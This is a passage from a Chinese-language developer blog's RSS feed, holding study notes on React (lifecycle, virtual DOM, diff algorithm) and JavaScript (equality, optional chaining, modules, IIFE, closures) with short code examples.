</span></span><span class="line"><span class="cl">  <span class="p">},</span> <span class="p">[</span><span class="nx">response</span><span class="p">]);</span>
</span></span></code></pre></div><p>当我将<code>Prism.highlightAll();</code>注释掉后，程序就不再报错了，但这显然不是我所希望的。几经查找后，发现了<a href="https://juejin.cn/post/6938321875298680845"  target="_blank" rel="noopener" >Failed to execute &lsquo;removeChild&rsquo; on &lsquo;Node&rsquo; - 掘金</a>解决了我的问题，在<code>pre code</code>外加一层<code>&lt;div&gt;</code>就解决了。</p>
<p>该篇文章也给出了一定的解释:</p>
<blockquote>
<p>经过分析发现是使用组件的问题，考虑DOM-DIff算法是比对不同的React节点，而该组件的渲染直接是第三方插件的代码，在componentDidMount阶段才进行DOM节点的挂载，在此之前是没有node节点的，故需要增加一个可识别的node节点。</p>
</blockquote>
<p>但对来说比较简略，我希望能彻底搞懂相关的概念，以下是我的笔记。</p>
<h2 id="lifecycle">Lifecycle</h2>
<h3 id="there-phases">there phases</h3>
<ol>
<li>mounting: initial render</li>
<li>updating: is triggered when the props are updated or when the state is updated</li>
<li>unmounting: when the component is removed from the DOM</li>
</ol>
<h3 id="methods">methods</h3>
<ul>
<li>Each phase has specific methods responsible for a particular stage in a component&rsquo;s lifecycle. These methods <strong>are technically particular to class-based components</strong> and not intended for functional components.</li>
<li><a href="https://projects.wojtekmaj.pl/react-lifecycle-methods-diagram/"  target="_blank" rel="noopener" >React lifecycle methods diagram</a></li>
<li><code>shouldComponentUpdate</code> -&gt; <code>useMemo</code>、 <code>memo</code></li>
<li>&ldquo;Commit phase&quot;中的三个方法,Can work with DOM, run side effects, schedule updates：
<ol>
<li><code>componentDidMount</code> -&gt; the useEffect hook with the second argument of []</li>
<li><code>componentDidUpdate</code> -&gt; the useEffect hook with the second argument of [state]</li>
<li><code>componentWillUnmount</code> -&gt; <strong>return a function</strong> that runs on unmounting inside the useEffect function,例:</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl">    <span class="nx">useEffect</span><span class="p">(()</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s2">&#34;Hello&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="p">()</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s2">&#34;Bye&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">};</span>
</span></span><span class="line"><span class="cl"><span class="p">},</span> <span class="p">[]);</span>
</span></span></code></pre></div></li>
</ul>
<h2 id="虚拟dom-virtual-document-object-model">虚拟DOM （Virtual Document Object Model）</h2>
<p>在React中，当状态（state）发生变化时，React并不直接操作真实的DOM来更新页面，而是先在内存中构建一个虚拟DOM树，然后通过比较虚拟DOM树和之前渲染的虚拟DOM树之间的差异，最终计算出最小的DOM操作，并将这些操作批量应用到真实的DOM上。</p>
<h3 id="虚拟dom节点可能包含的详细信息">虚拟DOM节点可能包含的详细信息</h3>
<ol>
<li><strong>type</strong>：节点类型可以是元素节点、文本节点或者组件节点。</li>
<li><strong>props</strong>：节点可能包含一些属性，这些属性描述了节点的特征，比如元素节点的class、id、style等属性，以及事件处理函数等。chidren 是 props 中的一个属性，它存储了当前组件的孩子节点，可以是数组（多个孩子节点）或对象（只有一个孩子节点）</li>
<li><strong>key</strong>：用于在DOM的重渲染过程中标识节点的唯一性，有助于React在进行差异比较时准确找到对应的节点。</li>
<li><strong>ref</strong>：用于获取节点的引用，通常用于在组件中操作DOM节点。</li>
<li><strong>owner</strong>: 所属的Component</li>
<li>其他</li>
</ol>
<h3 id="diff算法">diff算法</h3>
<ul>
<li>比较当前的虚拟DOM树和状态变更将要重新渲染时生成的虚拟DOM树的算法。</li>
<li>参考<a href="https://xie.infoq.cn/article/65e938d933cc751fcc008942d"  target="_blank" rel="noopener" >谈谈虚拟DOM，Diff算法与Key机制_React_beifeng1996_InfoQ写作社区</a></li>
<li>关键：
<ol>
<li>深度优先</li>
<li>只对同一级别的元素进行比较</li>
</ol>
</li>
<li>三种diff
<ol>
<li>tree diff : 只是简单进行了删除和创建操作</li>
<li>component diff：
<ul>
<li>使用的是<code>===</code>严格相等。也就是&quot;引用相等性&rdquo;</li>
<li>不同类型 -&gt; 直接替换整个组件下的所有子节点，即销毁原组件，创建新组件。</li>
<li>同一类型 -&gt; 继续判断</li>
</ul>
</li>
<li>element diff: 针对同一层级的所有节点（包括元素节点和组件节点）的 diff 算法
<ul>
<li>三种操作：
<ol>
<li>insert_markup</li>
<li>move_existing</li>
<li>remove_node:</li>
</ol>
</li>
<li>涉及到列表元素顺序的动态变更时，不要用遍历的 index 作为节点的 key 属性值</li>
</ul>
</li>
</ol>
</li>
</ul>
<h2 id="参考">参考</h2>
<ul>
<li><a href="https://juejin.cn/post/6938321875298680845"  target="_blank" rel="noopener" >Failed to execute &lsquo;removeChild&rsquo; on &lsquo;Node&rsquo; - 掘金</a></li>
<li><a href="https://www.twilio.com/en-us/blog/react-choose-functional-components"  target="_blank" rel="noopener" >Understanding Functional Components vs. Class Components in React</a></li>
<li><a href="https://retool.com/blog/the-react-lifecycle-methods-and-hooks-explained"  target="_blank" rel="noopener" >The React lifecycle: methods and hooks explained</a></li>
<li><a href="https://xie.infoq.cn/article/65e938d933cc751fcc008942d"  target="_blank" rel="noopener" >React面试：谈谈虚拟DOM，Diff算法与Key机制_React_beifeng1996_InfoQ写作社区</a></li>
<li><a href="https://prin.pw/react-unstable-nested-components"  target="_blank" rel="noopener" >真的不可以在 React 组件内部嵌套定义子组件吗？ - PRIN BLOG</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>JavaScript知识点整理</title>
      <link>https://ds63.eu.org/2024/javascript_points/</link>
      <pubDate>Wed, 06 Mar 2024 15:34:14 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2024/javascript_points/</guid>
      <description>自己学习过程中整理的关于JavaScript的知识点</description>
      <content:encoded><![CDATA[<p><strong>本文记录了我学习过程中整理的关于JavaScript的知识点,以摘抄为主，绝大部分非原创。未能全部都标明出处，在此致歉</strong></p>
<h2 id="历史">历史</h2>
<ul>
<li><a href="https://wangdoc.com/javascript/basic/history"  target="_blank" rel="noopener" >JavaScript 语言的历史 - JavaScript 教程 - 网道</a></li>
</ul>
<h2 id="双等号和三等号和objectis">双等号和三等号和Object.is</h2>
<ul>
<li><code>==</code> 只比较值是否相等。在比较数值之前，它将变量的类型转换为相互匹配</li>
<li><code>===</code> 不执行类型转换。它将验证被比较的变量是否具有相同的值和相同的类型。</li>
<li><code>Object.is()</code>
<ul>
<li>与 == 运算符并不等价: Object.is() 不会对其操作数进行类型转换</li>
<li>也不等价于 === 运算符: 唯一区别在于它们处理带符号的 0 和 NaN 值的时候。=== 运算符（和 == 运算符）将数值 -0 和 +0 视为相等，但是会将 NaN 视为彼此不相等</li>
</ul>
</li>
</ul>
<h3 id="示例">示例</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">number</span> <span class="o">=</span> <span class="mi">1234</span> 
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">stringNumber</span> <span class="o">=</span> <span class="s1">&#39;1234&#39;</span>  
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">number</span> <span class="o">==</span> <span class="nx">stringNumber</span><span class="p">)</span> <span class="c1">//true
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">number</span> <span class="o">===</span> <span class="nx">stringNumber</span><span class="p">)</span>  <span class="c1">//false  
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="mi">0</span> <span class="o">==</span> <span class="kc">false</span><span class="p">)</span> <span class="c1">//true
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="mi">0</span> <span class="o">===</span> <span class="kc">false</span><span class="p">)</span> <span class="c1">//false 
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">str</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">str</span> <span class="o">==</span> <span class="kc">false</span><span class="p">)</span> <span class="c1">//true
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">str</span> <span class="o">===</span> <span class="kc">false</span><span class="p">)</span> <span class="c1">//false
</span></span></span></code></pre></div><h3 id="参考">参考</h3>
<ul>
<li><a href="https://www.freecodecamp.org/news/javascript-triple-equals-sign-vs-double-equals-sign-comparison-operators-explained-with-examples/"  target="_blank" rel="noopener" >JavaScript Triple Equals Sign VS Double Equals Sign – Comparison Operators Explained with Examples</a></li>
</ul>
<hr>
<h2 id="-and-">? and ??</h2>
<ul>
<li><code>?</code>  可选链操作符（Optional Chaining Operator）
<ul>
<li>用于简化访问嵌套对象属性时的代码，可以安全地访问深度嵌套的属性，避免因为中间属性不存在而导致的错误。</li>
</ul>
</li>
<li><code>??</code> 空值合并操作符（Nullish Coalescing Operator），用于提供默认值
<ul>
<li>当左侧操作数为null或undefined时，返回右侧操作数，否则返回左侧操作数。</li>
<li>与逻辑或（||）操作符不同，空值合并操作符只在左侧操作数为null或undefined时返回右侧操作数，对于其他假值（如0、&lsquo;&lsquo;等）不会触发返回右侧操作数。</li>
<li><a href="https://jordaneldredge.com/blog/defaulting-to-empty-string-is-a-code-smell/"  target="_blank" rel="noopener" >?? &quot;&quot; is a Code Smell / Jordan Eldredge</a></li>
</ul>
</li>
</ul>
<hr>
<h2 id="静态属性和静态方法">静态属性和静态方法</h2>
<ul>
<li>静态方法用于实现属于整个类，但不属于该类任何实例的函数。
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kr">class</span> <span class="nx">Article</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">constructor</span><span class="p">(</span><span class="nx">title</span><span class="p">,</span> <span class="nx">date</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">this</span><span class="p">.</span><span class="nx">title</span> <span class="o">=</span> <span class="nx">title</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">this</span><span class="p">.</span><span class="nx">date</span> <span class="o">=</span> <span class="nx">date</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// 静态方法
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="kr">static</span> <span class="nx">compare</span><span class="p">(</span><span class="nx">articleA</span><span class="p">,</span> <span class="nx">articleB</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nx">articleA</span><span class="p">.</span><span class="nx">date</span> <span class="o">-</span> <span class="nx">articleB</span><span class="p">.</span><span class="nx">date</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="c1">// 直接将其作为属性赋值的作用相同
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">Article</span><span class="p">.</span><span class="nx">compare</span> <span class="o">=</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">articleA</span><span class="p">,</span> <span class="nx">articleB</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nx">articleA</span><span class="p">.</span><span class="nx">date</span> <span class="o">-</span> <span class="nx">articleB</span><span class="p">.</span><span class="nx">date</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="c1">// 可以在类上调用，而不是在单个对象上
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kd">let</span> <span class="nx">article</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Article</span><span class="p">(</span><span class="s2">&#34;HTML&#34;</span><span class="p">,</span> <span class="k">new</span> <span class="nb">Date</span><span class="p">(</span><span class="mi">2019</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">));</span>
</span></span><span class="line"><span class="cl"><span class="nx">article</span><span class="p">.</span><span class="nx">compare</span><span class="p">()</span> <span class="c1">/// Error: article.createTodays is not a function
</span></span></span></code></pre></div></li>
<li>静态属性
<ul>
<li>等同于直接给类赋值</li>
</ul>
</li>
<li>静态属性和方法是可被继承的。</li>
<li>参考
<ul>
<li><a href="https://zh.javascript.info/static-properties-methods"  target="_blank" rel="noopener" >静态属性和静态方法</a></li>
</ul>
</li>
</ul>
<hr>
<h2 id="私有属性">私有属性</h2>
<ul>
<li>私有属性通过添加<code>#</code>前缀来创建，在类的外部无法合法地引用。</li>
<li>私有属性不是原型继承模型的一部分，因为它们只能在当前类内部被访问，而且不能被子类继承。</li>
<li>无法使用方括号表示法动态访问它</li>
<li>访问对象中不存在的私有属性，会抛出 TypeError 错误，而不是像普通属性一样返回 undefined</li>
<li>参考<a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Classes/Private_properties"  target="_blank" rel="noopener" >私有属性 - JavaScript | MDN</a></li>
</ul>
<hr>
<h2 id="序列化与反序列化">序列化与反序列化</h2>
<ul>
<li>见<a href="https://ds63.eu.org/2024/serialization_and_deserialization"  target="_blank" rel="noopener" >json的序列化与反序列化</a></li>
</ul>
<h2 id="相等性">相等性</h2>
<p>摘自<a href="https://prin.pw/react-unstable-nested-components/#%E5%BC%95%E7%94%A8%E7%9B%B8%E7%AD%89%E6%80%A7%E4%B8%8E%E7%BB%84%E4%BB%B6%E9%87%8D%E6%B8%B2%E6%9F%93"  target="_blank" rel="noopener" >真的不可以在 React 组件内部嵌套定义子组件吗？ - PRIN BLOG</a></p>
<ul>
<li>值相等性 (Value Equality)，即两个值类型一致，内容也一致</li>
<li>引用相等性 (Reference Equality)，即两个对象的引用在内存中指向同一块区域
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="c1">// 两个长得一样的对象
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kr">const</span> <span class="nx">a</span> <span class="o">=</span> <span class="p">{</span> <span class="nx">name</span><span class="o">:</span> <span class="s1">&#39;Anon Tokyo&#39;</span> <span class="p">};</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">b</span> <span class="o">=</span> <span class="p">{</span> <span class="nx">name</span><span class="o">:</span> <span class="s1">&#39;Anon Tokyo&#39;</span> <span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// &#34;引用相等性&#34; 比较 - false
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">a</span> <span class="o">===</span> <span class="nx">b</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nb">Object</span><span class="p">.</span><span class="nx">is</span><span class="p">(</span><span class="nx">a</span><span class="p">,</span> <span class="nx">b</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// &#34;值相等性&#34; 比较 - true
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">lodash</span><span class="p">.</span><span class="nx">isEqual</span><span class="p">(</span><span class="nx">a</span><span class="p">,</span> <span class="nx">b</span><span class="p">));</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">a</span><span class="p">.</span><span class="nx">name</span> <span class="o">===</span> <span class="nx">b</span><span class="p">.</span><span class="nx">name</span><span class="p">);</span>
</span></span></code></pre></div></li>
<li>React 在比较节点的 type 时，使用的是<code>===</code>严格相等。也就是&quot;引用相等性&quot;</li>
</ul>
<h2 id="commonjs-vs-es6ecmascript-6">CommonJS V.S. ES6（ECMAScript 6）</h2>
<p>参考<a href="https://blog.logrocket.com/commonjs-vs-es-modules-node-js/"  target="_blank" rel="noopener" >CommonJS vs. ES modules in Node.js - LogRocket Blog</a></p>
<p>二者都是JavaScript的模块规范，现代开发中后者用的比较多。</p>
<h2 id="模块化">模块化</h2>
<ul>
<li>CommonJS规范用的是<code>require()</code>,<code>exports</code>组合
<ul>
<li><code>require()</code>本质是函数。需要谁，导入谁，返回值是对象。</li>
<li><code>exports</code>本质是对象。想暴露哪个变量，就给exports增加属性就行</li>
<li><code>module.exports</code> 是NodeJS实现的<code>exports</code>，<code>module.exports = exports</code> ，<code>module.exports</code>每个文件都有，本质是一个实例，所以最后还是以<code>module.exports</code>为准</li>
<li>加载模块是同步的,意味着只有等到对应的模块加载完毕，当前模块中的内容才能被运行</li>
<li>不能直接在浏览器使用，会报错:&lsquo;require is not defined&rsquo;。如果非要直接在浏览器中使用的话，需要browserify插件</li>
</ul>
</li>
<li>ES module用的是<code>import</code>,<code>export</code>组合
<ul>
<li><code>import</code> 本质是一个关键字。特殊情况下也可以当函数<code>import()</code></li>
<li><code>export</code> 本质是关键字。</li>
<li>ES imports are hoisted by spec(which Babel follows)</li>
<li>可选择性加载所需的部分，如<code>import { render } from react</code></li>
<li>异步加载:
有些场景下需要异步加载，比如<a href="https://ds63.eu.org/2024/postkid/#referenceerror-navigator-is-not-defined"  target="_blank" rel="noopener" >Postkid：ReferenceError: navigator is not defined | EuDs&rsquo;s Blog</a>
代码示例:
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="c1">// 当flag为true的时候才导入某个模块  
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="kd">let</span> <span class="nx">flag</span> <span class="o">=</span> <span class="kc">true</span>  
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="nx">flag</span><span class="p">)</span> <span class="p">{</span>  
</span></span><span class="line"><span class="cl">  <span class="c1">// import time from &#34;./module.js&#34; // NG: 一段解析阶段的代码放到了运行阶段去执行
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="c1">// 因为是异步加载 非同步 有个返回值 返回值是promise  
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="kr">const</span> <span class="nx">promise</span> <span class="o">=</span> <span class="kr">import</span><span class="p">(</span><span class="s2">&#34;./module.js&#34;</span><span class="p">)</span>   
</span></span><span class="line"><span class="cl">      <span class="p">.</span><span class="nx">then</span><span class="p">((</span><span class="nx">res</span><span class="p">)=&gt;{</span>  
</span></span><span class="line"><span class="cl">      <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">res</span><span class="p">)</span>  
</span></span><span class="line"><span class="cl">    <span class="p">})</span>  
</span></span><span class="line"><span class="cl">      <span class="p">.</span><span class="k">catch</span><span class="p">()</span>  
</span></span><span class="line"><span class="cl"><span class="p">}</span>  
</span></span></code></pre></div></li>
<li><code>import</code>可以在JavaScript可以直接使用，但是如果想直接在script中使用src的方式引入的话，需要指定<code>type=&quot;module&quot;</code>，声明引入的是一个js模块。</li>
</ul>
</li>
<li><strong>可以混用</strong>：<code>babel</code>之类的编译会将其统一编译成特定规范,但最好不要混用</li>
<li>参考
<ul>
<li><a href="https://chihokyo.com/post/35/"  target="_blank" rel="noopener" >彻底搞清楚JS的模块化import/export/require&hellip;问题| 旺财的博客</a></li>
<li><a href="https://juejin.cn/post/6844904114183208968"  target="_blank" rel="noopener" >干货:import和require如何在项目中混用 - 掘金</a></li>
<li><a href="https://robin-front.github.io/2017/07/10/dont-mixin-import-and-require.html"  target="_blank" rel="noopener" >不要混用 import 和 require | 知更鸟</a></li>
<li><a href="https://daotin.netlify.app/qe8yn8.html"  target="_blank" rel="noopener" >关于require和import的疑问 | 道廷途说</a></li>
<li><a href="https://juejin.cn/post/6969800612519084063"  target="_blank" rel="noopener" >几分钟了解js的模块化、IIFE。几分钟了解模块化： 1. CommonJS 2. AMD 3. CMD 4. ES6 - 掘金</a></li>
</ul>
</li>
</ul>
<hr>
<h2 id="iife立即调用函数表达式">IIFE（立即调用函数表达式）</h2>
<ul>
<li>参考<a href="https://developer.mozilla.org/zh-CN/docs/Glossary/IIFE"  target="_blank" rel="noopener" >IIFE（立即调用函数表达式）| MDN</a></li>
<li>一种设计模式</li>
<li>示例：
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">foo</span> <span class="o">=</span> <span class="s1">&#39;hello&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">(</span><span class="kd">function</span><span class="p">(</span><span class="nx">foo</span><span class="p">){</span>
</span></span><span class="line"><span class="cl">  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">foo</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="kd">var</span> <span class="nx">foo</span> <span class="o">=</span> <span class="nx">foo</span> <span class="o">||</span> <span class="s1">&#39;world&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">foo</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">})(</span><span class="nx">foo</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">foo</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="c1">// 依次输出 hello hello hello
</span></span></span></code></pre></div></li>
</ul>
<hr>
<h2 id="作用域执行上下文词法环境">作用域，执行上下文，词法环境</h2>
<p>wip</p>
<h3 id="参考-1">参考</h3>
<ul>
<li><a href="https://juejin.cn/post/7043408377661095967"  target="_blank" rel="noopener" >彻底搞懂作用域、执行上下文、词法环境 - 掘金</a></li>
<li><a href="https://zh.javascript.info/closure"  target="_blank" rel="noopener" >变量作用域，闭包</a></li>
</ul>
<h2 id="闭包">闭包</h2>
<h3 id="概念">概念</h3>
<ul>
<li>闭包是由函数以及声明该函数的词法环境组合而成的，该环境包含了这个闭包创建时作用域内的任何局部变量。</li>
</ul>
<h3 id="示例-1">示例:</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">makeAdder</span><span class="p">(</span><span class="nx">x</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">y</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nx">x</span> <span class="o">+</span> <span class="nx">y</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">};</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">add5</span> <span class="o">=</span> <span class="nx">makeAdder</span><span class="p">(</span><span class="mi">5</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">add10</span> <span class="o">=</span> <span class="nx">makeAdder</span><span class="p">(</span><span class="mi">10</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">add5</span><span class="p">(</span><span class="mi">2</span><span class="p">));</span> <span class="c1">// 7
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">add10</span><span class="p">(</span><span class="mi">2</span><span class="p">));</span> <span class="c1">// 12
</span></span></span></code></pre></div><h3 id="作用一--模拟私有方法">作用一:  模拟私有方法</h3>
<ul>
<li>代码
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">makeCounter</span> <span class="o">=</span> <span class="kd">function</span> <span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kd">var</span> <span class="nx">privateCounter</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kd">function</span> <span class="nx">changeBy</span><span class="p">(</span><span class="nx">val</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">privateCounter</span> <span class="o">+=</span> <span class="nx">val</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">increment</span><span class="o">:</span> <span class="kd">function</span> <span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nx">changeBy</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">},</span>
</span></span><span class="line"><span class="cl">    <span class="nx">decrement</span><span class="o">:</span> <span class="kd">function</span> <span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nx">changeBy</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">},</span>
</span></span><span class="line"><span class="cl">    <span class="nx">value</span><span class="o">:</span> <span class="kd">function</span> <span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="k">return</span> <span class="nx">privateCounter</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">},</span>
</span></span><span class="line"><span class="cl">  <span class="p">};</span>
</span></span><span class="line"><span class="cl"><span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">Counter1</span> <span class="o">=</span> <span class="nx">makeCounter</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">Counter2</span> <span class="o">=</span> <span class="nx">makeCounter</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">Counter1</span><span class="p">.</span><span class="nx">value</span><span class="p">());</span> <span class="cm">/* logs 0 */</span>
</span></span><span class="line"><span class="cl"><span class="nx">Counter1</span><span class="p">.</span><span class="nx">increment</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="nx">Counter1</span><span class="p">.</span><span class="nx">increment</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">Counter1</span><span class="p">.</span><span class="nx">value</span><span class="p">());</span> <span class="cm">/* logs 2 */</span>
</span></span><span class="line"><span class="cl"><span class="nx">Counter1</span><span class="p">.</span><span class="nx">decrement</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">Counter1</span><span class="p">.</span><span class="nx">value</span><span class="p">());</span> <span class="cm">/* logs 1 */</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">Counter2</span><span class="p">.</span><span class="nx">value</span><span class="p">());</span> <span class="cm">/* logs 0 */</span>
</span></span></code></pre></div></li>
<li>现在可以通过在属性名之前添加# 前缀来创建，在类的外部无法合法地引用</li>
</ul>
<h3 id="输出题">输出题</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-js" data-lang="js"><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">a</span> <span class="o">=</span> <span class="mi">100</span>
</span></span><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">create</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kd">var</span> <span class="nx">a</span> <span class="o">=</span> <span class="mi">200</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="kd">function</span> <span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">   <span class="nx">alert</span><span class="p">(</span><span class="nx">a</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">fn</span> <span class="o">=</span> <span class="nx">create</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="nx">fn</span><span class="p">()</span> <span class="c1">//200
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
